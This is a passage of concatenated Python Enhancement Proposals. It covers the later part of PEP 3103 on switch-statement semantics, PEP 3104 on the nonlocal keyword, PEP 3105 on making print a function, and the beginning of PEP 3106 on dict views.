Alternative C Use: case EXPR: to match on a single expression; use: case EXPR, EXPR, ...: to match on multiple expressions (as in alternative A); and use: case *EXPR: to match on the elements of an expression whose value is an iterable. The latter two cases can be combined, so that the true syntax is more like this: case [*]EXPR, [*]EXPR, ...: The * notation is similar to the use of prefix * already in use for variable-length parameter lists and for passing computed argument lists, and often proposed for value-unpacking (e.g. a, b, *c = X as an alternative to (a, b), c = X[:2], X[2:]). Alternative D This is a mixture of alternatives B and C; the syntax is like alternative B but instead of the ‘in’ keyword it uses ‘*’. This is more limited, but still allows the same flexibility. It uses: case EXPR: to match on a single expression and: case *EXPR: to match on the elements of an iterable. If one wants to specify multiple matches in one case, one can write this: case *(EXPR, EXPR, ...): or perhaps this (although it’s a bit strange because the relative priority of ‘*’ and ‘,’ is different than elsewhere): case * EXPR, EXPR, ...: Discussion Alternatives B, C and D are motivated by the desire to specify multiple cases with the same treatment using a variable representing a set (usually a tuple) rather than spelling them out. The motivation for this is usually that if one has several switches over the same set of cases it’s a shame to have to spell out all the alternatives each time. An additional motivation is to be able to specify ranges to be matched easily and efficiently, similar to Pascal’s “1..1000:” notation. At the same time we want to prevent the kind of mistake that is common in exception handling (and which will be addressed in Python 3000 by changing the syntax of the except clause): writing “case 1, 2:” where “case (1, 2):” was meant, or vice versa. The case could be made that the need is insufficient for the added complexity; C doesn’t have a way to express ranges either, and it’s used a lot more than Pascal these days. Also, if a dispatch method based on dict lookup is chosen as the semantics, large ranges could be inefficient (consider range(1, sys.maxint)). All in all my preferences are (from most to least favorite) B, A, D’, C, where D’ is D without the third possibility. Semantics There are several issues to review before we can choose the right semantics. If/Elif Chain vs. Dict-based Dispatch There are several main schools of thought about the switch statement’s semantics: School I wants to define the switch statement in term of an equivalent if/elif chain (possibly with some optimization thrown in). School II prefers to think of it as a dispatch on a precomputed dict. There are different choices for when the precomputation happens. There’s also school III, which agrees with school I that the definition of a switch statement should be in terms of an equivalent if/elif chain, but concedes to the optimization camp that all expressions involved must be hashable. We need to further separate school I into school Ia and school Ib: School Ia has a simple position: a switch statement is translated to an equivalent if/elif chain, and that’s that. It should not be linked to optimization at all. That is also my main objection against this school: without any hint of optimization, the switch statement isn’t attractive enough to warrant new syntax. School Ib has a more complex position: it agrees with school II that optimization is important, and is willing to concede the compiler certain liberties to allow this. (For example, PEP 275 Solution 1.) In particular, hash() of the switch and case expressions may or may not be called (so it should be side-effect-free); and the case expressions may not be evaluated each time as expected by the if/elif chain behavior, so the case expressions should also be side-effect free. My objection to this (elaborated below) is that if either the hash() or the case expressions aren’t side-effect-free, optimized and unoptimized code may behave differently. School II grew out of the realization that optimization of commonly found cases isn’t so easy, and that it’s better to face this head on. This will become clear below. The differences between school I (mostly school Ib) and school II are threefold: When optimizing using a dispatch dict, if either the switch expression or the case expressions are unhashable (in which case hash() raises an exception), school Ib requires catching the hash() failure and falling back to an if/elif chain. School II simply lets the exception happen. The problem with catching an exception in hash() as required by school Ib, is that this may hide a genuine bug. A possible way out is to only use a dispatch dict if all case expressions are ints, strings or other built-ins with known good hash behavior, and to only attempt to hash the switch expression if it is also one of those types. Type objects should probably also be supported here. This is the (only) problem that school III addresses. When optimizing using a dispatch dict, if the hash() function of any expression involved returns an incorrect value, under school Ib, optimized code will not behave the same as unoptimized code. This is a well-known problem with optimization-related bugs, and waste lots of developer time. Under school II, in this situation incorrect results are produced at least consistently, which should make debugging a bit easier. The way out proposed for the previous bullet would also help here. School Ib doesn’t have a good optimization strategy if the case expressions are named constants. The compiler cannot know their values for sure, and it cannot know whether they are truly constant. As a way out, it has been proposed to re-evaluate the expression corresponding to the case once the dict has identified which case should be taken, to verify that the value of the expression didn’t change. But strictly speaking, all the case expressions occurring before that case would also have to be checked, in order to preserve the true if/elif chain semantics, thereby completely killing the optimization. Another proposed solution is to have callbacks notifying the dispatch dict of changes in the value of variables or attributes involved in the case expressions. But this is not likely implementable in the general case, and would require many namespaces to bear the burden of supporting such callbacks, which currently don’t exist at all. Finally, there’s a difference of opinion regarding the treatment of duplicate cases (i.e. two or more cases with match expressions that evaluates to the same value). School I wants to treat this the same is an if/elif chain would treat it (i.e. the first match wins and the code for the second match is silently unreachable); school II wants this to be an error at the time the dispatch dict is frozen (so dead code doesn’t go undiagnosed). School I sees trouble in school II’s approach of pre-freezing a dispatch dict because it places a new and unusual burden on programmers to understand exactly what kinds of case values are allowed to be frozen and when the case values will be frozen, or they might be surprised by the switch statement’s behavior. School II doesn’t believe that school Ia’s unoptimized switch is worth the effort, and it sees trouble in school Ib’s proposal for optimization, which can cause optimized and unoptimized code to behave differently. In addition, school II sees little value in allowing cases involving unhashable values; after all if the user expects such values, they can just as easily write an if/elif chain. School II also doesn’t believe that it’s right to allow dead code due to overlapping cases to occur unflagged, when the dict-based dispatch implementation makes it so easy to trap this. However, there are some use cases for overlapping/duplicate cases. Suppose you’re switching on some OS-specific constants (e.g. exported by the os module or some module like that). You have a case for each. But on some OS, two different constants have the same value (since on that OS they are implemented the same way – like O_TEXT and O_BINARY on Unix). If duplicate cases are flagged as errors, your switch wouldn’t work at all on that OS. It would be much better if you could arrange the cases so that one case has preference over another. There’s also the (more likely) use case where you have a set of cases to be treated the same, but one member of the set must be treated differently. It would be convenient to put the exception in an earlier case and be done with it. (Yes, it seems a shame not to be able to diagnose dead code due to accidental case duplication. Maybe that’s less important, and pychecker can deal with it? After all we don’t diagnose duplicate method definitions either.) This suggests school IIb: like school II but redundant cases must be resolved by choosing the first match. This is trivial to implement when building the dispatch dict (skip keys already present). (An alternative would be to introduce new syntax to indicate “okay to have overlapping cases” or “ok if this case is dead code” but I find that overkill.) Personally, I’m in school II: I believe that the dict-based dispatch is the one true implementation for switch statements and that we should face the limitations up front, so that we can reap maximal benefits. I’m leaning towards school IIb – duplicate cases should be resolved by the ordering of the cases instead of flagged as errors. When to Freeze the Dispatch Dict For the supporters of school II (dict-based dispatch), the next big dividing issue is when to create the dict used for switching. I call this “freezing the dict”. The main problem that makes this interesting is the observation that Python doesn’t have named compile-time constants. What is conceptually a constant, such as re.IGNORECASE, is a variable to the compiler, and there’s nothing to stop crooked code from modifying its value. Option 1 The most limiting option is to freeze the dict in the compiler. This would require that the case expressions are all literals or compile-time expressions involving only literals and operators whose semantics are known to the compiler, since with the current state of Python’s dynamic semantics and single-module compilation, there is no hope for the compiler to know with sufficient certainty the values of any variables occurring in such expressions. This is widely though not universally considered too restrictive. Raymond Hettinger is the main advocate of this approach. He proposes a syntax where only a single literal of certain types is allowed as the case expression. It has the advantage of being unambiguous and easy to implement. My main complaint about this is that by disallowing “named constants” we force programmers to give up good habits. Named constants are introduced in most languages to solve the problem of “magic numbers” occurring in the source code. For example, sys.maxint is a lot more readable than 2147483647. Raymond proposes to use string literals instead of named “enums”, observing that the string literal’s content can be the name that the constant would otherwise have. Thus, we could write “case ‘IGNORECASE’:” instead of “case re.IGNORECASE:”. However, if there is a spelling error in the string literal, the case will silently be ignored, and who knows when the bug is detected. If there is a spelling error in a NAME, however, the error will be caught as soon as it is evaluated. Also, sometimes the constants are externally defined (e.g. when parsing a file format like JPEG) and we can’t easily choose appropriate string values. Using an explicit mapping dict sounds like a poor hack. Option 2 The oldest proposal to deal with this is to freeze the dispatch dict the first time the switch is executed. At this point we can assume that all the named “constants” (constant in the programmer’s mind, though not to the compiler) used as case expressions are defined – otherwise an if/elif chain would have little chance of success either. Assuming the switch will be executed many times, doing some extra work the first time pays back quickly by very quick dispatch times later. An objection to this option is that there is no obvious object where the dispatch dict can be stored. It can’t be stored on the code object, which is supposed to be immutable; it can’t be stored on the function object, since many function objects may be created for the same function (e.g. for nested functions). In practice, I’m sure that something can be found; it could be stored in a section of the code object that’s not considered when comparing two code objects or when pickling or marshalling a code object; or all switches could be stored in a dict indexed by weak references to code objects. The solution should also be careful not to leak switch dicts between multiple interpreters. Another objection is that the first-use rule allows obfuscated code like this: def foo(x, y): switch x: case y: print 42 To the untrained eye (not familiar with Python) this code would be equivalent to this: def foo(x, y): if x == y: print 42 but that’s not what it does (unless it is always called with the same value as the second argument). This has been addressed by suggesting that the case expressions should not be allowed to reference local variables, but this is somewhat arbitrary. A final objection is that in a multi-threaded application, the first-use rule requires intricate locking in order to guarantee the correct semantics. (The first-use rule suggests a promise that side effects of case expressions are incurred exactly once.) This may be as tricky as the import lock has proved to be, since the lock has to be held while all the case expressions are being evaluated. Option 3 A proposal that has been winning support (including mine) is to freeze a switch’s dict when the innermost function containing it is defined. The switch dict is stored on the function object, just as parameter defaults are, and in fact the case expressions are evaluated at the same time and in the same scope as the parameter defaults (i.e. in the scope containing the function definition). This option has the advantage of avoiding many of the finesses needed to make option 2 work: there’s no need for locking, no worry about immutable code objects or multiple interpreters. It also provides a clear explanation for why locals can’t be referenced in case expressions. This option works just as well for situations where one would typically use a switch; case expressions involving imported or global named constants work exactly the same way as in option 2, as long as they are imported or defined before the function definition is encountered. A downside however is that the dispatch dict for a switch inside a nested function must be recomputed each time the nested function is defined. For certain “functional” styles of programming this may make switch unattractive in nested functions. (Unless all case expressions are compile-time constants; then the compiler is of course free to optimize away the switch freezing code and make the dispatch table part of the code object.) Another downside is that under this option, there’s no clear moment when the dispatch dict is frozen for a switch that doesn’t occur inside a function. There are a few pragmatic choices for how to treat a switch outside a function: Disallow it. Translate it into an if/elif chain. Allow only compile-time constant expressions. Compute the dispatch dict each time the switch is reached. Like (b) but tests that all expressions evaluated are hashable. Of these, (a) seems too restrictive: it’s uniformly worse than (c); and (d) has poor performance for little or no benefits compared to (b). It doesn’t make sense to have a performance-critical inner loop at the module level, as all local variable references are slow there; hence (b) is my (weak) favorite. Perhaps I should favor (e), which attempts to prevent atypical use of a switch; examples that work interactively but not in a function are annoying. In the end I don’t think this issue is all that important (except it must be resolved somehow) and am willing to leave it up to whoever ends up implementing it. When a switch occurs in a class but not in a function, we can freeze the dispatch dict at the same time the temporary function object representing the class body is created. This means the case expressions can reference module globals but not class variables. Alternatively, if we choose (b) above, we could choose this implementation inside a class definition as well. Option 4 There are a number of proposals to add a construct to the language that makes the concept of a value pre-computed at function definition time generally available, without tying it either to parameter default values or case expressions. Some keywords proposed include ‘const’, ‘static’, ‘only’ or ‘cached’. The associated syntax and semantics vary. These proposals are out of scope for this PEP, except to suggest that if such a proposal is accepted, there are two ways for the switch to benefit: we could require case expressions to be either compile-time constants or pre-computed values; or we could make pre-computed values the default (and only) evaluation mode for case expressions. The latter would be my preference, since I don’t see a use for more dynamic case expressions that isn’t addressed adequately by writing an explicit if/elif chain. Conclusion It is too early to decide. I’d like to see at least one completed proposal for pre-computed values before deciding. In the meantime, Python is fine without a switch statement, and perhaps those who claim it would be a mistake to add one are right. Copyright This document has been placed in the public domain.

Rejected

PEP 3103 – A Switch/Case Statement

Standards Track

Python-dev has recently seen a flurry of discussion on adding a switch statement. In this PEP I’m trying to extract my own preferences from the smorgasbord of proposals, discussing alternatives and explaining my choices where I can. I’ll also indicate how strongly I feel about alternatives I discuss.

PEP 3104 – Access to Names in Outer Scopes Author: Ka-Ping Yee <ping at zesty.ca> Status: Final Type: Standards Track Created: 12-Oct-2006 Python-Version: 3.0 Post-History: Table of Contents Abstract Rationale Other Languages JavaScript, Perl, Scheme, Smalltalk, GNU C, C# 2.0 Ruby (as of 1.8) Overview of Proposals New Syntax in the Binding (Outer) Scope Scope Override Declaration Required Variable Declaration New Syntax in the Referring (Inner) Scope Outer Reference Expression Rebinding Operator Scope Override Declaration Proposed Solution Backward Compatibility References Acknowledgements Copyright Abstract In most languages that support nested scopes, code can refer to or rebind (assign to) any name in the nearest enclosing scope. Currently, Python code can refer to a name in any enclosing scope, but it can only rebind names in two scopes: the local scope (by simple assignment) or the module-global scope (using a global declaration). This limitation has been raised many times on the Python-Dev mailing list and elsewhere, and has led to extended discussion and many proposals for ways to remove this limitation. This PEP summarizes the various alternatives that have been suggested, together with advantages and disadvantages that have been mentioned for each. Rationale Before version 2.1, Python’s treatment of scopes resembled that of standard C: within a file there were only two levels of scope, global and local. In C, this is a natural consequence of the fact that function definitions cannot be nested. But in Python, though functions are usually defined at the top level, a function definition can be executed anywhere. This gave Python the syntactic appearance of nested scoping without the semantics, and yielded inconsistencies that were surprising to some programmers – for example, a recursive function that worked at the top level would cease to work when moved inside another function, because the recursive function’s own name would no longer be visible in its body’s scope. This violates the intuition that a function should behave consistently when placed in different contexts. Here’s an example: def enclosing_function(): def factorial(n): if n < 2: return 1 return n * factorial(n - 1) # fails with NameError print factorial(5) Python 2.1 moved closer to static nested scoping by making visible the names bound in all enclosing scopes (see PEP 227). This change makes the above code example work as expected. However, because any assignment to a name implicitly declares that name to be local, it is impossible to rebind a name in an outer scope (except when a global declaration forces the name to be global). Thus, the following code, intended to display a number that can be incremented and decremented by clicking buttons, doesn’t work as someone familiar with lexical scoping might expect: def make_scoreboard(frame, score=0): label = Label(frame) label.pack() for i in [-10, -1, 1, 10]: def increment(step=i): score = score + step # fails with UnboundLocalError label['text'] = score button = Button(frame, text='%+d' % i, command=increment) button.pack() return label Python syntax doesn’t provide a way to indicate that the name score mentioned in increment refers to the variable score bound in make_scoreboard, not a local variable in increment. Users and developers of Python have expressed an interest in removing this limitation so that Python can have the full flexibility of the Algol-style scoping model that is now standard in many programming languages, including JavaScript, Perl, Ruby, Scheme, Smalltalk, C with GNU extensions, and C# 2.0. It has been argued that such a feature isn’t necessary, because a rebindable outer variable can be simulated by wrapping it in a mutable object: class Namespace: pass def make_scoreboard(frame, score=0): ns = Namespace() ns.score = 0 label = Label(frame) label.pack() for i in [-10, -1, 1, 10]: def increment(step=i): ns.score = ns.score + step label['text'] = ns.score button = Button(frame, text='%+d' % i, command=increment) button.pack() return label However, this workaround only highlights the shortcomings of existing scopes: the purpose of a function is to encapsulate code in its own namespace, so it seems unfortunate that the programmer should have to create additional namespaces to make up for missing functionality in the existing local scopes, and then have to decide whether each name should reside in the real scope or the simulated scope. Another common objection is that the desired functionality can be written as a class instead, albeit somewhat more verbosely. One rebuttal to this objection is that the existence of a different implementation style is not a reason to leave a supported programming construct (nested scopes) functionally incomplete. Python is sometimes called a “multi-paradigm language” because it derives so much strength, practical flexibility, and pedagogical power from its support and graceful integration of multiple programming paradigms. A proposal for scoping syntax appeared on Python-Dev as far back as 1994 [1], long before PEP 227’s support for nested scopes was adopted. At the time, Guido’s response was: This is dangerously close to introducing CSNS [classic static nested scopes]. If you were to do so, your proposed semantics of scoped seem alright. I still think there is not enough need for CSNS to warrant this kind of construct … After PEP 227, the “outer name rebinding discussion” has reappeared on Python-Dev enough times that it has become a familiar event, having recurred in its present form since at least 2003 [2]. Although none of the language changes proposed in these discussions have yet been adopted, Guido has acknowledged that a language change is worth considering [12]. Other Languages To provide some background, this section describes how some other languages handle nested scopes and rebinding. JavaScript, Perl, Scheme, Smalltalk, GNU C, C# 2.0 These languages use variable declarations to indicate scope. In JavaScript, a lexically scoped variable is declared with the var keyword; undeclared variable names are assumed to be global. In Perl, a lexically scoped variable is declared with the my keyword; undeclared variable names are assumed to be global. In Scheme, all variables must be declared (with define or let, or as formal parameters). In Smalltalk, any block can begin by declaring a list of local variable names between vertical bars. C and C# require type declarations for all variables. For all these cases, the variable belongs to the scope containing the declaration. Ruby (as of 1.8) Ruby is an instructive example because it appears to be the only other currently popular language that, like Python, tries to support statically nested scopes without requiring variable declarations, and thus has to come up with an unusual solution. Functions in Ruby can contain other function definitions, and they can also contain code blocks enclosed in curly braces. Blocks have access to outer variables, but nested functions do not. Within a block, an assignment to a name implies a declaration of a local variable only if it would not shadow a name already bound in an outer scope; otherwise assignment is interpreted as rebinding of the outer name. Ruby’s scoping syntax and rules have also been debated at great length, and changes seem likely in Ruby 2.0 [28]. Overview of Proposals There have been many different proposals on Python-Dev for ways to rebind names in outer scopes. They all fall into two categories: new syntax in the scope where the name is bound, or new syntax in the scope where the name is used. New Syntax in the Binding (Outer) Scope Scope Override Declaration The proposals in this category all suggest a new kind of declaration statement similar to JavaScript’s var. A few possible keywords have been proposed for this purpose: scope x [4] var x [4] [9] my x [13] In all these proposals, a declaration such as var x in a particular scope S would cause all references to x in scopes nested within S to refer to the x bound in S. The primary objection to this category of proposals is that the meaning of a function definition would become context-sensitive. Moving a function definition inside some other block could cause any of the local name references in the function to become nonlocal, due to declarations in the enclosing block. For blocks in Ruby 1.8, this is actually the case; in the following example, the two setters have different effects even though they look identical: setter1 = proc { | x | y = x } # y is local here y = 13 setter2 = proc { | x | y = x } # y is nonlocal here setter1.call(99) puts y # prints 13 setter2.call(77) puts y # prints 77 Note that although this proposal resembles declarations in JavaScript and Perl, the effect on the language is different because in those languages undeclared variables are global by default, whereas in Python undeclared variables are local by default. Thus, moving a function inside some other block in JavaScript or Perl can only reduce the scope of a previously global name reference, whereas in Python with this proposal, it could expand the scope of a previously local name reference. Required Variable Declaration A more radical proposal [21] suggests removing Python’s scope-guessing convention altogether and requiring that all names be declared in the scope where they are to be bound, much like Scheme. With this proposal, var x = 3 would both declare x to belong to the local scope and bind it, where as x = 3 would rebind the existing visible x. In a context without an enclosing scope containing a var x declaration, the statement x = 3 would be statically determined to be illegal. This proposal yields a simple and consistent model, but it would be incompatible with all existing Python code. New Syntax in the Referring (Inner) Scope There are three kinds of proposals in this category. Outer Reference Expression This type of proposal suggests a new way of referring to a variable in an outer scope when using the variable in an expression. One syntax that has been suggested for this is .x [7], which would refer to x without creating a local binding for it. A concern with this proposal is that in many contexts x and .x could be used interchangeably, which would confuse the reader [31]. A closely related idea is to use multiple dots to specify the number of scope levels to ascend [8], but most consider this too error-prone [17]. Rebinding Operator This proposal suggests a new assignment-like operator that rebinds a name without declaring the name to be local [2]. Whereas the statement x = 3 both declares x a local variable and binds it to 3, the statement x := 3 would change the existing binding of x without declaring it local. This is a simple solution, but according to PEP 3099 it has been rejected (perhaps because it would be too easy to miss or to confuse with =). Scope Override Declaration The proposals in this category suggest a new kind of declaration statement in the inner scope that prevents a name from becoming local. This statement would be similar in nature to the global statement, but instead of making the name refer to a binding in the top module-level scope, it would make the name refer to the binding in the nearest enclosing scope. This approach is attractive due to its parallel with a familiar Python construct, and because it retains context-independence for function definitions. This approach also has advantages from a security and debugging perspective. The resulting Python would not only match the functionality of other nested-scope languages but would do so with a syntax that is arguably even better for defensive programming. In most other languages, a declaration contracts the scope of an existing name, so inadvertently omitting the declaration could yield farther-reaching (i.e. more dangerous) effects than expected. In Python with this proposal, the extra effort of adding the declaration is aligned with the increased risk of non-local effects (i.e. the path of least resistance is the safer path). Many spellings have been suggested for such a declaration: scoped x [1] global x in f [3] (explicitly specify which scope) free x [5] outer x [6] use x [9] global x [10] (change the meaning of global) nonlocal x [11] global x outer [18] global in x [18] not global x [18] extern x [20] ref x [22] refer x [22] share x [22] sharing x [22] common x [22] using x [22] borrow x [22] reuse x [23] scope f x [25] (explicitly specify which scope) The most commonly discussed choices appear to be outer, global, and nonlocal. outer is already used as both a variable name and an attribute name in the standard library. The word global has a conflicting meaning, because “global variable” is generally understood to mean a variable with top-level scope [27]. In C, the keyword extern means that a name refers to a variable in a different compilation unit. While nonlocal is a bit long and less pleasant-sounding than some of the other options, it does have precisely the correct meaning: it declares a name not local. Proposed Solution The solution proposed by this PEP is to add a scope override declaration in the referring (inner) scope. Guido has expressed a preference for this category of solution on Python-Dev [14] and has shown approval for nonlocal as the keyword [19]. The proposed declaration: nonlocal x prevents x from becoming a local name in the current scope. All occurrences of x in the current scope will refer to the x bound in an outer enclosing scope. As with global, multiple names are permitted: nonlocal x, y, z If there is no pre-existing binding in an enclosing scope, the compiler raises a SyntaxError. (It may be a bit of a stretch to call this a syntax error, but so far SyntaxError is used for all compile-time errors, including, for example, __future__ import with an unknown feature name.) Guido has said that this kind of declaration in the absence of an outer binding should be considered an error [16]. If a nonlocal declaration collides with the name of a formal parameter in the local scope, the compiler raises a SyntaxError. A shorthand form is also permitted, in which nonlocal is prepended to an assignment or augmented assignment: nonlocal x = 3 The above has exactly the same meaning as nonlocal x; x = 3. (Guido supports a similar form of the global statement [24].) On the left side of the shorthand form, only identifiers are allowed, not target expressions like x[0]. Otherwise, all forms of assignment are allowed. The proposed grammar of the nonlocal statement is: nonlocal_stmt ::= "nonlocal" identifier ("," identifier)* ["=" (target_list "=")+ expression_list] | "nonlocal" identifier augop expression_list The rationale for allowing all these forms of assignment is that it simplifies understanding of the nonlocal statement. Separating the shorthand form into a declaration and an assignment is sufficient to understand what it means and whether it is valid. Note The shorthand syntax was not added in the original implementation of the PEP. Later discussions [29] [30] concluded this syntax should not be implemented. Backward Compatibility This PEP targets Python 3000, as suggested by Guido [19]. However, others have noted that some options considered in this PEP may be small enough changes to be feasible in Python 2.x [26], in which case this PEP could possibly be moved to be a 2.x series PEP. As a (very rough) measure of the impact of introducing a new keyword, here is the number of times that some of the proposed keywords appear as identifiers in the standard library, according to a scan of the Python SVN repository on November 5, 2006: nonlocal 0 use 2 using 3 reuse 4 free 8 outer 147 global appears 214 times as an existing keyword. As a measure of the impact of using global as the outer-scope keyword, there are 18 files in the standard library that would break as a result of such a change (because a function declares a variable global before that variable has been introduced in the global scope): cgi.py dummy_thread.py mhlib.py mimetypes.py idlelib/PyShell.py idlelib/run.py msilib/__init__.py test/inspect_fodder.py test/test_compiler.py test/test_decimal.py test/test_descr.py test/test_dummy_threading.py test/test_fileinput.py test/test_global.py (not counted: this tests the keyword itself) test/test_grammar.py (not counted: this tests the keyword itself) test/test_itertools.py test/test_multifile.py test/test_scope.py (not counted: this tests the keyword itself) test/test_threaded_import.py test/test_threadsignals.py test/test_warnings.py References [1] (1, 2) Scoping (was Re: Lambda binding solved?) (Rafael Bracho) https://legacy.python.org/search/hypermail/python-1994q1/0301.html [2] (1, 2) Extended Function syntax (Just van Rossum) https://mail.python.org/pipermail/python-dev/2003-February/032764.html [3] Closure semantics (Guido van Rossum) https://mail.python.org/pipermail/python-dev/2003-October/039214.html [4] (1, 2) Better Control of Nested Lexical Scopes (Almann T. Goo) https://mail.python.org/pipermail/python-dev/2006-February/061568.html [5] PEP for Better Control of Nested Lexical Scopes (Jeremy Hylton) https://mail.python.org/pipermail/python-dev/2006-February/061602.html [6] PEP for Better Control of Nested Lexical Scopes (Almann T. Goo) https://mail.python.org/pipermail/python-dev/2006-February/061603.html [7] Using and binding relative names (Phillip J. Eby) https://mail.python.org/pipermail/python-dev/2006-February/061636.html [8] Using and binding relative names (Steven Bethard) https://mail.python.org/pipermail/python-dev/2006-February/061749.html [9] (1, 2) Lexical scoping in Python 3k (Ka-Ping Yee) https://mail.python.org/pipermail/python-dev/2006-July/066862.html [10] Lexical scoping in Python 3k (Greg Ewing) https://mail.python.org/pipermail/python-dev/2006-July/066889.html [11] Lexical scoping in Python 3k (Ka-Ping Yee) https://mail.python.org/pipermail/python-dev/2006-July/066942.html [12] Lexical scoping in Python 3k (Guido van Rossum) https://mail.python.org/pipermail/python-dev/2006-July/066950.html [13] Explicit Lexical Scoping (pre-PEP?) (Talin) https://mail.python.org/pipermail/python-dev/2006-July/066978.html [14] Explicit Lexical Scoping (pre-PEP?) (Guido van Rossum) https://mail.python.org/pipermail/python-dev/2006-July/066991.html [15] Explicit Lexical Scoping (pre-PEP?) (Guido van Rossum) https://mail.python.org/pipermail/python-dev/2006-July/066995.html [16] Lexical scoping in Python 3k (Guido van Rossum) https://mail.python.org/pipermail/python-dev/2006-July/066968.html [17] Explicit Lexical Scoping (pre-PEP?) (Guido van Rossum) https://mail.python.org/pipermail/python-dev/2006-July/067004.html [18] (1, 2, 3) Explicit Lexical Scoping (pre-PEP?) (Andrew Clover) https://mail.python.org/pipermail/python-dev/2006-July/067007.html [19] (1, 2) Explicit Lexical Scoping (pre-PEP?) (Guido van Rossum) https://mail.python.org/pipermail/python-dev/2006-July/067067.html [20] Explicit Lexical Scoping (pre-PEP?) (Matthew Barnes) https://mail.python.org/pipermail/python-dev/2006-July/067221.html [21] Sky pie: a “var” keyword (a thread started by Neil Toronto) https://mail.python.org/pipermail/python-3000/2006-October/003968.html [22] (1, 2, 3, 4, 5, 6, 7) Alternatives to ‘outer’ (Talin) https://mail.python.org/pipermail/python-3000/2006-October/004021.html [23] Alternatives to ‘outer’ (Jim Jewett) https://mail.python.org/pipermail/python-3000/2006-November/004153.html [24] Draft PEP for outer scopes (Guido van Rossum) https://mail.python.org/pipermail/python-3000/2006-November/004166.html [25] Draft PEP for outer scopes (Talin) https://mail.python.org/pipermail/python-3000/2006-November/004190.html [26] Draft PEP for outer scopes (Alyssa Coghlan) https://mail.python.org/pipermail/python-3000/2006-November/004237.html [27] Global variable (version 2006-11-01T01:23:16) https://en.wikipedia.org/w/index.php?title=Global_variable&oldid=85001451 [28] Ruby 2.0 block local variable https://web.archive.org/web/20070105131417/http://redhanded.hobix.com/inspect/ruby20BlockLocalVariable.html [29] Issue 4199: combining assignment with global & nonlocal (Guido van Rossum) https://mail.python.org/pipermail/python-dev/2013-June/127142.html [30] Whatever happened to ‘nonlocal x = y’? (Guido van Rossum) https://mail.python.org/pipermail/python-dev/2018-January/151627.html [31] Using and binding relative names (Almann T. Goo) https://mail.python.org/pipermail/python-dev/2006-February/061761.html Acknowledgements The ideas and proposals mentioned in this PEP are gleaned from countless Python-Dev postings. Thanks to Jim Jewett, Mike Orr, Jason Orendorff, and Christian Tanzer for suggesting specific edits to this PEP. Copyright This document has been placed in the public domain.

Final

PEP 3104 – Access to Names in Outer Scopes

Standards Track

In most languages that support nested scopes, code can refer to or rebind (assign to) any name in the nearest enclosing scope. Currently, Python code can refer to a name in any enclosing scope, but it can only rebind names in two scopes: the local scope (by simple assignment) or the module-global scope (using a global declaration).

PEP 3105 – Make print a function Author: Georg Brandl <georg at python.org> Status: Final Type: Standards Track Created: 19-Nov-2006 Python-Version: 3.0 Post-History: Table of Contents Abstract Rationale Specification Backwards Compatibility Implementation References Copyright Abstract The title says it all – this PEP proposes a new print() builtin that replaces the print statement and suggests a specific signature for the new function. Rationale The print statement has long appeared on lists of dubious language features that are to be removed in Python 3000, such as Guido’s “Python Regrets” presentation [1]. As such, the objective of this PEP is not new, though it might become much disputed among Python developers. The following arguments for a print() function are distilled from a python-3000 message by Guido himself [2]: print is the only application-level functionality that has a statement dedicated to it. Within Python’s world, syntax is generally used as a last resort, when something can’t be done without help from the compiler. Print doesn’t qualify for such an exception. At some point in application development one quite often feels the need to replace print output by something more sophisticated, like logging calls or calls into some other I/O library. With a print() function, this is a straightforward string replacement, today it is a mess adding all those parentheses and possibly converting >>stream style syntax. Having special syntax for print puts up a much larger barrier for evolution, e.g. a hypothetical new printf() function is not too far fetched when it will coexist with a print() function. There’s no easy way to convert print statements into another call if one needs a different separator, not spaces, or none at all. Also, there’s no easy way at all to conveniently print objects with some other separator than a space. If print() is a function, it would be much easier to replace it within one module (just def print(*args):...) or even throughout a program (e.g. by putting a different function in __builtin__.print). As it is, one can do this by writing a class with a write() method and assigning that to sys.stdout – that’s not bad, but definitely a much larger conceptual leap, and it works at a different level than print. Specification The signature for print(), taken from various mailings and recently posted on the python-3000 list [3] is: def print(*args, sep=' ', end='\n', file=None) A call like: print(a, b, c, file=sys.stderr) will be equivalent to today’s: print >>sys.stderr, a, b, c while the optional sep and end arguments specify what is printed between and after the arguments, respectively. The softspace feature (a semi-secret attribute on files currently used to tell print whether to insert a space before the first item) will be removed. Therefore, there will not be a direct translation for today’s: print "a", print which will not print a space between the "a" and the newline. Backwards Compatibility The changes proposed in this PEP will render most of today’s print statements invalid. Only those which incidentally feature parentheses around all of their arguments will continue to be valid Python syntax in version 3.0, and of those, only the ones printing a single parenthesized value will continue to do the same thing. For example, in 2.x: >>> print ("Hello") Hello >>> print ("Hello", "world") ('Hello', 'world') whereas in 3.0: >>> print ("Hello") Hello >>> print ("Hello", "world") Hello world Luckily, as it is a statement in Python 2, print can be detected and replaced reliably and non-ambiguously by an automated tool, so there should be no major porting problems (provided someone writes the mentioned tool). Implementation The proposed changes were implemented in the Python 3000 branch in the Subversion revisions 53685 to 53704. Most of the legacy code in the library has been converted too, but it is an ongoing effort to catch every print statement that may be left in the distribution. References [1] http://legacy.python.org/doc/essays/ppt/regrets/PythonRegrets.pdf [2] Replacement for print in Python 3.0 (Guido van Rossum) https://mail.python.org/pipermail/python-dev/2005-September/056154.html [3] print() parameters in py3k (Guido van Rossum) https://mail.python.org/pipermail/python-3000/2006-November/004485.html Copyright This document has been placed in the public domain.

Final

PEP 3105 – Make print a function

Standards Track

The title says it all – this PEP proposes a new print() builtin that replaces the print statement and suggests a specific signature for the new function.

PEP 3106 – Revamping dict.keys(), .values() and .items() Author: Guido van Rossum Status: Final Type: Standards Track Created: 19-Dec-2006 Python-Version: 3.0 Post-History: Table of Contents Abstract Introduction Specification Open Issues References Abstract This PEP proposes to change the .keys(), .values() and .items() methods of the built-in dict type to return a set-like or unordered container object whose contents are derived from the underlying dictionary rather than a list which is a copy of the keys, etc.; and to remove the .iterkeys(), .itervalues() and .iteritems() methods. The approach is inspired by that taken in the Java Collections Framework [1]. Introduction It has long been the plan to change the .keys(), .values() and .items() methods of the built-in dict type to return a more lightweight object than a list, and to get rid of .iterkeys(), .itervalues() and .iteritems(). The idea is that code that currently (in 2.x) reads: for k, v in d.iteritems(): ... should be rewritten as: for k, v in d.items(): ... (and similar for .itervalues() and .iterkeys(), except the latter is redundant since we can write that loop as for k in d.) Code that currently reads: a = d.keys() # assume we really want a list here (etc.) should be rewritten as a = list(d.keys()) There are (at least) two ways to accomplish this. The original plan was to simply let .keys(), .values() and .items() return an iterator, i.e. exactly what iterkeys(), itervalues() and iteritems() return in Python 2.x. However, the Java Collections Framework [1] suggests that a better solution is possible: the methods return objects with set behavior (for .keys() and .items()) or multiset (== bag) behavior (for .values()) that do not contain copies of the keys, values or items, but rather reference the underlying dict 